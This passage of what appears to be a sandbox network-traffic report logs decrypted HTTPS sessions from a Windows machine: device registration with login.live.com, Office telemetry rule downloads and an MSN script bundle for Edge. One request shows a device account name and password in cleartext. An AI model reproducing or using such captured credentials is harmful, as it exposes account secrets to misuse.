2024-12-02 00:34:38 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 68 69 78 78 6a 61 6d 70 6d 6e 70 7a 63 6e 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 43 78 32 76 34 5e 2e 7e 43 3f 56 4a 47 45 68 53 38 7a 39 6c 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02hixxjampmnpzcn</Membername><Password>Cx2v4^.~C?VJGEhS8z9l</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-12-02 00:34:41 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Mon, 02 Dec 2024 00:33:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_SN1 x-ms-request-id: d5b462ee-1a42-4de4-96e9-f19316d2a24a PPServer: PPV: 30 H: SN1PEPF0002F020 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:40 GMT Connection: close Content-Length: 17166
2024-12-02 00:34:41 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 30 30 31 32 39 30 31 34 31 39 32 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 34 39 35 38 37 63 65 35 2d 66 31 63 65 2d 34 32 63 65 2d 39 63 32 62 2d 63 34 65 64 35 65 38 63 33 36 35 39 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001800129014192F</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="49587ce5-f1ce-42ce-9c2b-c4ed5e8c3659" LicenseID="3252b20c-d425-4711
2024-12-02 00:34:41 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.7	49834	20.190.181.1	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:39 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-12-02 00:34:39 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-12-02 00:34:39 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 02 Dec 2024 00:33:39 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BL2 x-ms-request-id: 8336955a-2a8e-4abf-a86d-660f6f2f8ef8 PPServer: PPV: 30 H: BL02EPF0001D72D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 02 Dec 2024 00:34:39 GMT Connection: close Content-Length: 1276
2024-12-02 00:34:39 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:40 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9d60b28b-101e-0017-33c7-4347c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003440Z-174f7845968vqt9xhC1EWRgten00000013u00000000032gh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 00:34:40 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.7	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003440Z-174f7845968j6t2phC1EWRcfe800000013wg000000005y3h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:40 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.7	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 5cf18767-601e-000d-7d91-3f2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003440Z-174f78459688l8rvhC1EWRtzr00000000g7g00000000dy8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:40 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 00:34:40 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 3f63c6b9-401e-0064-499d-4354af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T003440Z-174f78459685m244hC1EWRgp2c00000013gg00000000b25m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 00:34:40 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.7	49849	23.221.239.43	443	7884	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-02 00:34:40 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-12-02 00:34:41 UTC	1203	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Fri, 15 Nov 2024 22:31:11 GMT ETag: 0x8DD05C53565F83D Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 64e866d1-101e-0037-3246-3988b3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Mon, 02 Dec 2024 00:34:40 GMT Content-Length: 99974 Connection: close Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.221.239.46,b=4252956724,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=2, origin; dur=0, cdntime; dur=2, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.221.239.46 Akamai-Request-ID: fd7ef834 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.2eefdd17.1733099680.fd7ef834 Vary: Origin
2024-12-02 00:34:41 UTC	15181	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 30 3a 66 75 6e 63 74 69 6f 6e Data Ascii: /! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},13010:function
2024-12-02 00:34:41 UTC	9395	IN	Data Raw: 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 28 72 5b 31 5d 7c 7c 72 5b 32 5d 29 2e 6c 65 6e 67 74 68 29 7d 7d 28 67 2e 64 61 74 65 2c 75 29 3b 68 3d 66 75 6e 63 74 69 6f 6e 28 74 2c Data Ascii: {"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice((r[1]\|\|r[2]).length)}}(g.date,u);h=function(t,
2024-12-02 00:34:41 UTC	16384	IN	Data Raw: 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 73 75 62 73 70 61 63 65 Data Ascii: ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return t.subspace
2024-12-02 00:34:41 UTC	8192	IN	Data Raw: 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 28 42 75 66 66 65 72 2e 66 72 Data Ascii: At(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p(Buffer.fr
2024-12-02 00:34:41 UTC	16384	IN	Data Raw: 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d 22 3a 72 65 74 75 72 6e 28 30 Data Ascii: rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return 